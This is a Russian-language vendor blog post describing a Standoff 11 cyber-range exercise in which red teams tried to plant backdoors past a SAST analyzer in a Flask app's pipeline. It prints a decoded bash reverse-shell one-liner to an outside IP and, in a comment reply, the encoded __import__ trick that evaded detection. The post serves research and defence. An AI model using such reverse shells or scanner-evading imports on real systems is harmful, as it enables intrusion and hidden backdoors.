Недавно завершилась одиннадцатая кибербитва Standoff, проходившая в рамках Positive Hack Days 12 в московском Парке Горького. C 17 по 20 мая 22 команды белых хакеров атаковали государство F — виртуальный город с собственной железнодорожной инфраструктурой, атомной станцией, заводом по обогащению урана, солнечной электростанцией и другими объектами. В одном из его сегментов располагалась сеть IT-отдела авиакомпании, принадлежащей Heavy Logistics. По легенде у отдела разработки был выстроен процесс безопасной разработки: код проверялся с помощью PT Application Inspector.

Сразу обратим ваше внимание, что эта ситуация была смоделирована специально для кибербитвы Standoff для того, чтобы PT Application Inspector, задача которого искать уязвимости, мог еще и обнаруживать зловредный код. Поэтому «обошли» его только в рамках кибербитвы и заложенных в нее сценариев возможных атак.

Красным требовалось внедрить «закладку» в исходный код разрабатываемого приложения и сделать так, чтобы для SAST-анализатора она выглядела безопасной. В случае успеха они могли бы выполнить произвольный код на удаленном сервере компании.

Что рассмотрим в статье:

  • особенности внедрения SAST-анализатора в кибербитву Standoff,

  • попытки красных команд обойти анализатор,

  • итоги и планы.

В этом году Positive Hack Days вышел на новый уровень, превратившись в большой городской киберфестиваль. Его ключевыми идеями стали повышение доверия к технологиям и развитие осознанности их использования через киберграмотность (подробнее читайте по ссылке). Традиционно на PHDays прошла кибербитва Standoff между командами offensive (красные) и defensive (защитники). За четыре дня атакующим в вымышленном Государстве F (но с настоящими системами управления и защиты) удалось реализовать недопустимые события 204 раза, а защитникам — расследовать 43 атаки. 

Как мы внедряли SAST-анализатор в кибербитву Standoff

Одним из главных преимуществ Standoff можно считать то, что в реальной жизни участники команд атаки и защиты — практикующие специалисты в ИБ, которые проводят аудиты безопасности топовых компаний. Поэтому мы тоже решили приблизить наше задание к реальной жизни и внедрить основные процессы безопасной разработки в вымышленный IT-отдел авиакомпании Heavy Logistics.

Аэропорт, принадлежащий транспортной компании Heavy Logistics, на макете Standoff 11
Аэропорт, принадлежащий транспортной компании Heavy Logistics, на макете Standoff 11

Серверы компании были расположены следующим образом:

Топология сети IT-отдела компании Heavy Logistics Flights
Топология сети IT-отдела компании Heavy Logistics Flights

Атакующим был доступен сайт авиакомпании, на котором была возможность зайти в панель управления под ролью manager или reporter. При успешном входе в панель управления атакующий получал доступ к файлу с закрытым RSA-ключом и ссылкой для клонирования репозитория. Репозиторий хранился на GitLab-сервере компании.

Страница менеджера контента
Страница менеджера контента

???? Любопытный факт

Ради интереса был выставлен самый популярный логин — admin и пароль admin для входа в дашборд. Под ролью reporter можно было войти, введя email из футерa сайта. В роли reporter вход был выполнен в два раза чаще.

После успешного клонирования репозитория задачей атакующего было внедрить в исходный код приложения бэкдор, который PT Application Inspector не сможет обнаружить, и с помощью него получить RCE в контейнере с собранной и развернутой новой версией приложения.

Само приложение представляло из себя REST API на языке Python. Для реализации API используется фреймворк Flask, который есть в базе знаний нашего анализатора.

Для репозитория был настроен CI/CD, который выглядит следующим образом:

Диаграмма состояний при прохождении пайплайна
Диаграмма состояний при прохождении пайплайна
  1. После того как хакер выгрузил код в репозиторий, первым шагом выполнялось сканирование всего приложения. Главной задачей нашего анализатора кода являлся поиск уязвимостей типа OS Commanding, SQL Injection, Server-Side Request Forgery и др. Но в этот раз мы решили дополнить ядро правилами для поиска бэкдоров (программных закладок). Сканирование не было инкрементальным, то есть предыдущие неудачные попытки обойти анализатор (например, сделанные другими командами) необходимо было обнаружить и удалить самостоятельно. О попытках атакующих обойти этот алгоритм поиска расскажем далее.

  2. Если сканирование прошло успешно, происходила сборка Docker-контейнера и отправка в приватный GitLab Container Registry. Как и во многих компаниях в реальном мире, одним из шагов сборки являлось выкачивание зависимостей из приватного PyPI-зеркала. В нем хранились только те пакеты, которые используются в приложении, поэтому у хакеров не получилось изменить requirements.txt таким образом, чтобы подменить какой-либо модуль на зловредный и провести атаку типа supply chain. Кроме того, мы уверены, что все используемые Python-пакеты покрыты базой знаний нашего SAST-анализатора.

  3. Финальным шагом было развертывание приложения на сервере. Контейнер с бэкендом брался из GitLab Container Registry.

Попытки атакующих обойти анализатор

Поначалу команды красных пытались внедрить уязвимый код таким образом:

Первая попытка внедрения вредоносного кода
Первая попытка внедрения вредоносного кода

Данную уязвимость PT Application Inspector обнаружил, так как метод os.popen() является потенциально опасным: в него приходят данные из недоверенного источника (запроса) посредствам метода request.args.get().

Отчет после сканирования кода из коммита
Отчет после сканирования кода из коммита

Кроме того, были попытки подменить пакеты в файле requirements.txt, но, как ранее упоминалось, это не сработало, поскольку при выкачивании пакетов используется приватное PyPI-зеркало без выхода в интернет.

Коммит с попыткой подменить пакеты
Коммит с попыткой подменить пакеты

Далее была попытка использовать встроенный модуль Python subprocess для проброса реверс-шелла, но и это не получилось.

Попытка использовать subprocess
Попытка использовать subprocess
Отчет об уязвимости в PT Application Inspector
Отчет об уязвимости в PT Application Inspector

Рассмотрим еще один вариант внедрения реверс-шелла. На этот раз использовался модуль pty для доступа к bash. И здесь наш анализатор тоже находит уязвимость.

Попытка подключения через socket.connect() и pty.spawn()
Попытка подключения через socket.connect() и pty.spawn()
Отчет PT Application Inspector
Отчет PT Application Inspector

И даже если послать на вход op.popen() закодированную строку, пайплайн не проходит.

При раскодировании строки получаем bash -i >& /dev/tcp/88.99.70.74/3499 0>&1
При раскодировании строки получаем bash -i >& /dev/tcp/88.99.70.74/3499 0>&1

Как же обойти защиту SAST-анализатора

:)
:)

После множества попыток (на рисунках выше) ребятам из команды True0xA3 все же удалось обойти PT Application Inspector и получить реверс-шелл на контейнере с приложением. Они закодировали import модуля subprocess и вызвали метод check_output, поэтому он не определился в базе знаний PT Application Inspector, что и привело к реализации недопустимого события.

Успешная реализация риска
Успешная реализация риска
Последствия недопустимого события по легенде кибербитвы Standoff 11
Последствия недопустимого события по легенде кибербитвы Standoff 11

Итоги и планы

После прошедшего Standoff 11 у нас появился успешный кейс реализации заявленного риска. Это немного, но именно такие примеры заставляют нас задуматься, каким образом можно улучшить наш статический анализатор.

После мероприятия мы пообщались с командами атакующих и собрали фидбэк. В числе приятных моментов можно отметить то, что некоторые хакеры назвали это задание одним из самых интересных на одиннадцатой кибербитве. Кроме того, мы поняли, насколько важна каждая деталь в описании задания: один из пунктов описания сервиса в README.md был воспринят атакующими как возможность провести атаку типа supply chain. Впредь формулировки будут более точными, обещаем ????

Хотим поблагодарить команду организаторов Standoff — наших коллег — за оперативную техподдержку до битвы и во время нее, а наших соратников по департаменту — за своевременный деплой и помощь в конфигурировании PT Application Inspector.

Мы будем продолжать придумывать интересные таски и давать больше возможностей для красных команд показать свои навыки при обходе SAST-анализатора. Будем рады видеть вас на следующих ивентах. До встречи в самое ближайшее время на киберполигоне Standoff365!


Александр Халиков

Младший специалист группы исследований безопасности приложений, Positive Technologies

Дмитрий Рассадин

Старший специалист группы исследований безопасности приложений, Positive Technologies

Комментарии (2)


  1. KvanTTT
    06.06.2023 09:32
    +1

    О, круто, это значит Python уже крутится на универсальном символическом движке?

    По поводу кода - какие есть причины писать такой сложный динамический импорт? Не лучше ли здесь предупреждать о сложном и неподдерживаемом коде? Я думаю даже в статических языках можно наворотить всякого с рефлексией, что любой анализатор не справится.

    Скрины с кодом - не очень удобно, не смог скопировать импорт для цитирования :(


    1. ptsecurity Автор
      06.06.2023 09:32
      +1

      Да, обновленный анализатор для Python уже в релизе.

      Вызов метода __import__ встречается в пользовательском коде, необходимо его поддерживать. Привычный import работает с идентификаторами, а вызов метода __import__ принимает на вход строковый литерал, атакующие этим воспользовались. Учтем :)
      Стоит упомянуть, что другие аргументы данного метода позволяют указать области видимости в контексте интерпретируемого пакета, список импортируемых объектов, абсолютный или относительный импорт. Результат импорта вместо добавления в текущий локальный скоуп является возвращаемым значением функции. Подробнее можно прочитать в документации.

      Та самая команда:

      import(b"\xff\xfes\x00u\x00b\x00p\x00r\x00o\x00c\x00e\x00s\x00s\x00".decode('utf-16').check_output(CMD).decode()